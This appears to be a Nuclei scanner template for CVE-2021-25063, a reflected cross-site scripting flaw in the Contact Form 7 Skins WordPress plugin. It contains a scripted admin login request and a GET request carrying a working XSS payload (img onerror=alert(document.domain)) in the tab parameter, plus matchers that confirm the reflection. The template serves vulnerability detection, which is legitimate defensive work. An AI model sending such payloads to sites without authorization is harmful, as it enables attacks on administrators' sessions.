id: CVE-2021-25063 info: name: Contact Form 7 Skins <= 2.5.0 - Reflected Cross-Site Scripting (XSS) author: dhiyaneshDk severity: medium description: The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting reference: - https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-25063 cwe-id: CWE-79 tags: cve,cve2021,wordpress,wp-plugin,xss,contactform,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "' type='hidden" - type: word part: header words: - text/html - type: status status: - 200